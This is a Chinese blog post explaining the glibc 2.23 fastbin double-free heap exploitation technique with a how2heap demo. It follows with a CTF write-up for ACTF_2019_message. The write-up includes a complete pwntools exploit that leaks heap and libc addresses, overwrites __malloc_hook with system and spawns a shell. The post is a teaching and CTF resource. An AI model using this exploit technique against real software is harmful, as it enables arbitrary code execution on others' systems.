首页 > 其他分享 >Fastbin Double Free

Fastbin Double Free

时间:2023-07-24 16:45:29浏览次数:42  
标签:malloc fast sendafter libc Double chunk free Free Fastbin

参考:shellphish/how2heap: A repository for learning various heap exploitation techniques. (github.com)

Glibc-2.23

实验代码

#include <stdio.h>
#include <stdlib.h>

int main()
{
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);
    
	free(a);
	free(b);
	free(a);

	a = malloc(8);
	b = malloc(8);
	c = malloc(8);
	fprintf(stderr, "1st malloc(8): %p\n", a);
	fprintf(stderr, "2nd malloc(8): %p\n", b);
	fprintf(stderr, "3rd malloc(8): %p\n", c);

	return 0;
}

编译&换libc版本

gcc main.c -g -o main_x64
patchelf --set-interpreter /root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --set-rpath /root/Desktop/glibc-all-in-one/libs/2.23-0ubuntu3_amd64 main_x64

实验过程

执行到释放,观察a,b,c的值。

 

开始释放,将a释放两次之后,fastbins里面形成了一个循环,现在只要不向申请的fast chunk里面写入内容就可以无限申请这两个地址,需要注意的地方是同一个 fast chunk 不能连着释放两次。

同一个 fast chunk 不能连着释放两次的原因
 /*
old 的值为前一个释放的fast chunk指针
p 为当释放的fast chunk指针
*/
if (__builtin_expect(old == p, 0))
{
	errstr = "double free or corruption (fasttop)";
	goto errout;
}

 

重新申请堆,根据fastbins(FILO)先进后出的规则,再次申请fast chunk时,将会返回0x555555757010,并将0x555555757010地址的值写入fastbinsY,所以只要我们在申请回第一个堆时,可以通过修改这个堆的fd来实现任意地址申请。

需要注意的地方
 /*
如果伪造的地址的size和当前fastbinsY里面的大小不同会导致报错
idx为 malloc(size) 的size在fastbinsY里面的索引
*/
if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0))
{
	errstr = "malloc(): memory corruption (fast)";
errout:
	malloc_printerr(check_action, errstr, chunk2mem(victim), av);
	return NULL;
}
0x555555757000: 0x0000000000000000 0x0000000000000021 0x555555757010: 0x0000555555757020 0x0000000000000000 0x555555757020: 0x0000000000000000 0x0000000000000021 0x555555757030: 0x0000555555757000 0x0000000000000000 0x555555757040: 0x0000000000000000 0x0000000000000021 0x555555757050: 0x0000000000000000 0x0000000000000000 0x555555757060: 0x0000000000000000 0x0000000000020fa1

 

Glibc-2.23 的 Fastbin Double Free 防止程序报错所涉及的代码片段均以标出,如果内容有错误还望指正。 

例题:ACTF_2019_message

题目来源:BUUCTF在线评测 (buuoj.cn)

检查发现没有开启PIE。

sub_400A3F是用来申请堆的,大小自定义。大小和指针保存在0x602060。根据汇编代码发现堆指针紧挨着size,占8字节。

 

sub_400B73用于释放堆,并且把大小设置成0了( edit 和 show 函数只能在size存在时才能使用)。

因为大小和堆指针存放的问题,我们可以利用Fastbin Double Free申请到0x602068地址。

思路

1、申请一个大小属于fast chunk的堆,大小随意,这个堆不进行释放,用来绕过申请fast chunk的检查。

2、申请两个和第一个大小相同的fast chunk,利用Fastbin Double Free申请到0x602068地址。

3、通过得到的0x602060地址,进行泄露heap基址 和 libc基址。

4、修改__malloc_hook或__free_hook的值得到shell。

exp

EXP
 from pwn import *
from LibcSearcher import *

debug = 0
local = 0
host = ""
port = 0
filename = "./ACTF_2019_message"

def getflag():
	p.sendline(b'cat flag')
	p.interactive()

def stop():
	while True:
		print(p.recv())

def malloc(size, data):
	p.sendafter(b'choice: ', b'1')
	p.sendafter(b'message:\n', f'{size}'.encode())
	p.sendlineafter(b'message:\n', data)

def free(index):
	p.sendafter(b'choice: ', b'2')
	p.sendafter(b'delete:\n', f'{index}'.encode())

def edit(index, data):
	p.sendafter(b'choice: ', b'3')
	p.sendafter(b'edit:\n', f'{index}'.encode())
	p.sendlineafter(b'message:\n', data)

def show(index):
	p.sendafter(b'choice: ', b'4')
	p.sendafter(b'display:\n', f'{index}'.encode())

p = process(filename) if not debug and local else gdb.debug(filename, "b *0x400E25") if debug else remote(host, port)
elf = ELF(filename)
libc = elf.libc

malloc(0x80, b'/bin/sh\x00')
malloc(0x78, b'')
malloc(0x78, b'')
free(1)
free(2)
free(1)
malloc(0x78, p64(0x602058))
malloc(0x78, b'')
malloc(0x78, b'')
malloc(0x78, b'')

show(6)
p.recvuntil(b'message: ')
heapbase = u64(p.recvuntil(b'=')[:-2].ljust(8, b'\x00')) - 0x0A
print(f'heap => {hex(heapbase)}')
edit(6, p64(0x601F90))
show(0)
p.recvuntil(b'message: ')
freeaddr = u64(p.recvuntil(b'\n').strip().ljust(8, b'\x00'))
print(f'free => {hex(freeaddr)}')
if local:
	libcbase = freeaddr - libc.sym['free']
	system = libcbase + libc.sym['system']
	malloc_hook = libcbase + libc.sym['__malloc_hook']
else:
	libc = LibcSearcher('free', freeaddr)
	# libc.select_libc(0)
	libcbase = freeaddr - libc.dump('free')
	system = libcbase + libc.dump('system')
	malloc_hook = libcbase + libc.dump('__malloc_hook')
edit(6, p64(malloc_hook))
edit(0, p64(system))
p.sendafter(b'choice: ', b'1')
p.sendafter(b'message:\n', f'{heapbase+0x10}'.encode())
getflag()

 

标签:malloc,fast,sendafter,libc,Double,chunk,free,Free,Fastbin
From: https://www.cnblogs.com/liert/p/17577627.html

相关文章

  • E - Defect-free Squares
    E-Defect-freeSquares(atcoder.jp)题意:一个H*W的矩形上有几个块有洞,问你没有洞的正方形有多少个两种做法,DP和二分前缀和DP是官方题解先是二分前缀和做法,当时没想到前缀和可还行。。先弄好前缀和,然后我们考虑用(i,j)作为正方形左上角能贡献多少个正方形,显然(i,j)作为左上......
  • Defect-freeSquares
    [ABC311E]Defect-freeSquares考虑令\(f[i][j]\)表示以\((i,j)\)为右下角的最大正方形的边长,以其为右下角的正方形恰好为\(f[i][j]\),答案就是\(\sumf[i][j]\)。然后考虑转移。对于一个格子,如果要扩充正方形,必定要往左上角、左、上三个方向扩张,且取决于最小者,即\(f[i][j......
  • 使用Free Pascal开发STM32程序
    使用FreePascal开发STM32程序前言大部分人都知道嵌入式开发,一般用的都是C语言,但是实际上,除C语言之外还有许多语言都可以开发,本文将介绍使用FreePascal(简称FPC)开发STM32程序的方法。你可以进FreePascal的官网看看,其第一段话就是说这个编译器支持多少处理器多少操作系统的,事实......
  • FreeSWITCH添加g729编码及pcap音频提取
    操作系统:debian11(bullseye,docker)、Windows10_x64FreeSWITCH版本:1.10.9Docker版本:23.0.6Python版本 : 3.9.2 日常工作中,有时候会遇到g729编码的相关内容,但FreeSWITCH默认是不支持g729编码转码的,今天记录下使用开源的bcg729进行g729转码的过程(本文仅作技术研究,......
  • python sip freeswitch
    PythonSIPandFreeSWITCHIntroductionInthisarticle,wewillexplorehowtousePythontointeractwithFreeSWITCH,anopen-sourcetelephonyplatform.WewillspecificallyfocusonutilizingtheSessionInitiationProtocol(SIP)moduleinPythontoest......
  • new/delete/malloc/free
    new/deletenew和delete是C++中的运算符,不是库函数,不需要库的支持。new的工作机理string*sp=newstring("avalue");//一个new表达式new表达式调用一个operatornew(或者operatornew[])的标准库函数,该函数分配一个原始的,足够大小的,未命名的内存空间编译器运行相应的构造函数......
  • 论文翻译: FREEVC:朝着高质量、无文本、单次转换声音的目标迈进
    原文:FREEVC:TOWARDSHIGH-QUALITYTEXT-FREEONE-SHOTVOICECONVERSION原文地址:https://ieeexplore.ieee.org/abstract/document/10095191 个人总结:1.提出mel谱缩放增强方法。2.基于VITS框架进行改进,BUT在对照实验中缺没有对比VITS3.引入WavLM模型提高VC模型对说话人内容......
  • Freertos学习09-软件定时器
    一、概述软件定时器是一种在单片机上实现定时功能的方法,可以用于周期性地执行任务或者延时执行任务。软件定时器由FreeRTOS内核实现,不需要硬件支持。软件定时器只有在软件定时器回调函数被调用时才需要占用CPU时间。本节主要设计以下内容:软件定时器的API介绍实例测试......
  • FreeType 控制台渲染字形轮廓笔记
    项目里用到了FreeType解析字体,这里只为了更方便入手FreeType,简单读取字体文件,并在控制台绘制制定字符轮廓,以字符A为例:初始化FreeType,加载字体文件#include<freetype2/ft2build.h>#includeFT_FREETYPE_H#include<iostream>#include<math.h>usingnamespacestd;......
  • HFP(hands free profle)
    HFP蓝牙免提协议:1.角色:AG(audiogateway):音频网关,相当于手机HF(handfree):免提端,相当于耳机2.支持的feature:3.SLC(servicelevelconnectestablishment)服务级连接的建立SLC就是一些AT指令的交互,交互完后,SLC就建立成功了。前提:SLC建立前必须存......